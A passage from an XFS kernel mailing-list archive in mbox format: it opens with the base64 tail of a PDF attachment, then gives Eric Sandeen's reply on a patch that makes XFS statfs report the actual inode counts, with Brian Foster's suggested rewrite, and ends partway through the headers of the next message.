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 AIkQYgMAAAAAAAASIcQGAAAAAAAAJEKIDQAAAAAAAEiEEBsAAAAAAACQCCE2AAAAAAAAIBFCbAAA AAAAAEAihNgAAAAAAACARAixAQAAAAAAAIkQYgMAAAAAAAASIcQGAAAAAAAAJEKIDQAAAAAAAEiE EBsAAAAAAACQCCE2AAAAAAAAIBFCbAAAAAAAAEAihNgAAAAAAACARAixAQAAAAAAAIkQYgMAAAAA AAASIcQGAAAAAAAAJEKIDQAAAAAAAEiEEBsAAAAAAACQCCE2AAAAAAAAIBFCbAAAAAAAAEAihNgA AAAAAACARAixAQAAAAAAAIkQYgMAAAAAAAASIcQGAAAAAAAAJEKIDQAAAAAAAEiEEBsAAAAAAACQ CCE2AAAAAAAAIBFCbAAAAAAAAEAihNgAAAAAAACARAixAQAAAAAAAIkQYgMAAAAAAAASIcQGAAAA AAAAJEKIDQAAAAAAAEiEEBsAAAAAAACQCCE2AAAAAAAAIBFCbAAAAAAAAEAihNgAAAAAAACARAix AQAAAAAAAIkQYgMAAAAAAAASIcQGAAAAAAAAJEKIDQAAAAAAAEiEEBsAAAAAAACQCCE2AAAAAAAA IBFCbAAAAAAAAEAihNgAAAAAAACARAixAQAAAAAAAIkQYgMAAAAAAAASIcQGAAAAAAAAJEKIDQAA AAAAAEiEEBsAAAAAAACQgPT/AWlPIykKZW5kc3RyZWFtCmVuZG9iagozIDAgb2JqCjw8L0xlbmd0 aCA2OC9GaWx0ZXIvRmxhdGVEZWNvZGU+PnN0cmVhbQp4nCvkKlQwtTRVMABCCxNDPRMjEFPPyNLQ 0EQhOVdBPzM33UDBJV8hkCuQq5DLKYTL2EzBwsBMISSFyzUEKAYAyaYN5wplbmRzdHJlYW0KZW5k b2JqCjUgMCBvYmoKPDwvVHlwZS9QYWdlL01lZGlhQm94WzAgMCA1OTUgODQyXS9SZXNvdXJjZXM8 PC9Qcm9jU2V0IFsvUERGIC9UZXh0IC9JbWFnZUIgL0ltYWdlQyAvSW1hZ2VJXS9YT2JqZWN0PDwv aW1nMCAyIDAgUj4+Pj4vQ29udGVudHMgMyAwIFIvUGFyZW50IDQgMCBSPj4KZW5kb2JqCjQgMCBv YmoKPDwvVHlwZS9QYWdlcy9Db3VudCAxL0tpZHNbNSAwIFJdL0lUWFQoNS4xLjMpPj4KZW5kb2Jq CjYgMCBvYmoKPDwvVHlwZS9DYXRhbG9nL1BhZ2VzIDQgMCBSPj4KZW5kb2JqCjcgMCBvYmoKPDwv UHJvZHVjZXIoY29udmVydGZpbGVvbmxpbmUuY29tKS9DcmVhdGlvbkRhdGUoRDoyMDE0MDIyMTEz NDQxOCswMScwMCcpL01vZERhdGUoRDoyMDE0MDIyMTEzNDQxOCswMScwMCcpPj4KZW5kb2JqCnhy ZWYKMCA4CjAwMDAwMDAwMDAgNjU1MzUgZiAKMDAwMDAwMDAxNSAwMDAwMCBuIAowMDAwMDAyNzAz IDAwMDAwIG4gCjAwMDAxNzM4MzQgMDAwMDAgbiAKMDAwMDE3NDEzMCAwMDAwMCBuIAowMDAwMTcz OTY4IDAwMDAwIG4gCjAwMDAxNzQxOTMgMDAwMDAgbiAKMDAwMDE3NDIzOCAwMDAwMCBuIAp0cmFp bGVyCjw8L1NpemUgOC9Sb290IDYgMCBSL0luZm8gNyAwIFIvSUQgWzw4Nzk3MDc1N2UwMTQ1NmQw ZWVlOThiMzA3YmIxZWZjMz48Mjg0OGUwZDc0OTBlMGIyMTc3ZDk2MzYwMTBlNzU4YzY+XT4+CnN0 YXJ0eHJlZgoxNzQzNjEKJSVFT0YK ------=_NextPart_000_1881_01CF3184.CC465840-- From sandeen@sandeen.net Mon Feb 24 14:38:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_FREE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 723D57F50 for ; Mon, 24 Feb 2014 14:38:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id F354DAC003 for ; Mon, 24 Feb 2014 12:38:25 -0800 (PST) X-ASG-Debug-ID: 1393274300-04bdf05ec6079d0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id nwxCCRrV9UVHfCs0 for ; Mon, 24 Feb 2014 12:38:20 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id D81926549AD6; Mon, 24 Feb 2014 14:38:19 -0600 (CST) Message-ID: <530BADBA.60402@sandeen.net> Date: Mon, 24 Feb 2014 14:38:18 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Brian Foster , Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfs: be honest about used inodes in statfs References: <53067DC0.9040800@redhat.com> <20140224160047.GA13221@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs: be honest about used inodes in statfs In-Reply-To: <20140224160047.GA13221@bfoster.bfoster> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393274300 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145470 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/24/14, 10:01 AM, Brian Foster wrote: > On Thu, Feb 20, 2014 at 04:12:16PM -0600, Eric Sandeen wrote: >> Because we have lazy counters, it's possible that we over-allocate >> inodes past the maxicount (imaxpct) limit. >> >> A previous commit, >> >> 2fe3366 xfs: ensure f_ffree returned by statfs() is non-negative >> >> stopped statfs from underflowing f_ffree in this case, but that >> only happened when we mis-reported f_files, capped at maxicount. >> >> Change statfs to report the actual number of inodes allocated, >> even if it is greater than maxicount. It's reality. >> Deal with it. ;) >> >> Signed-off-by: Eric Sandeen >> --- >> >> diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c >> index f317488..7c7a810 100644 >> --- a/fs/xfs/xfs_super.c >> +++ b/fs/xfs/xfs_super.c >> @@ -1083,7 +1083,6 @@ xfs_fs_statfs( >> struct xfs_inode *ip = XFS_I(dentry->d_inode); >> __uint64_t fakeinos, id; >> xfs_extlen_t lsize; >> - __int64_t ffree; >> >> statp->f_type = XFS_SB_MAGIC; >> statp->f_namelen = MAXNAMELEN - 1; >> @@ -1100,17 +1099,24 @@ xfs_fs_statfs( >> statp->f_blocks = sbp->sb_dblocks - lsize; >> statp->f_bfree = statp->f_bavail = >> sbp->sb_fdblocks - XFS_ALLOC_SET_ASIDE(mp); >> + >> + /* Potential number of new inodes in free blocks */ >> fakeinos = statp->f_bfree << sbp->sb_inopblog; >> + /* Total possible files is current inodes + potential new inodes */ >> statp->f_files = >> MIN(sbp->sb_icount + fakeinos, (__uint64_t)XFS_MAXINUMBER); >> + /* Unless we have maxicount! Then cap it at that */ >> if (mp->m_maxicount) >> statp->f_files = min_t(typeof(statp->f_files), >> statp->f_files, >> mp->m_maxicount); >> >> - /* make sure statp->f_ffree does not underflow */ >> - ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); >> - statp->f_ffree = max_t(__int64_t, ffree, 0); >> + /* But if we already managed to allocate more, let's be honest */ >> + statp->f_files = max_t(typeof(statp->f_files), >> + sbp->sb_icount, >> + statp->f_files); >> + >> + statp->f_ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); > > Hi Eric, > > Would something like the following be equivalent (and accurate?): > > /* > * Potential number of new inodes in free blocks, limited by maxicount. > */ > fakeinos = statp->f_bfree << sbp->sb_inopblog; > if (mp->m_maxicount) > fakeinos = mp->m_maxicount > sbp->sb_icount ? > MIN(mp->m_maxicount - sbp->sb_icount, fakeinos) : 0; > /* Total possible files is current inodes + potential new inodes */ > statp->f_files = MIN(sbp->sb_icount + fakeinos, > (__uint64_t) XFS_MAXINUMBER); > > statp->f_ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); Yeah, I think that's better. Want to send that patch? You did the hard work of making it look sane. ;) -Eric > Brian > >> >> spin_unlock(&mp->m_sb_lock); >> >> >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From bfoster@redhat.com Mon Feb 24 14:42:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BEBC17F50 for ; Mon, 24 Feb 2014 14:42:45 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9528F304032 for ; Mon, 24 Feb 2014 12:42:45 -0800 (PST) X-ASG-Debug-ID: 1393274563-04cbb00c2876ff70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id lXdI7FceNihst3lQ for ; Mon, 24 Feb 2014 12:42:44 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OKgfUE022134 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 24 Feb 2014 15:42:41 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1OKgePt021744; Mon, 24 Feb 2014 15:42:40 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 2BFD6124491; Mon, 24 Feb 2014 15:42:38 -0500 (EST) Date: Mon, 24 Feb 2014 15:42:38 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 01/10] repair: translation lookups limit scalability Message-ID: <20140224204238.GA49654@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 01/10] repair: translation lookups limit scalability References: 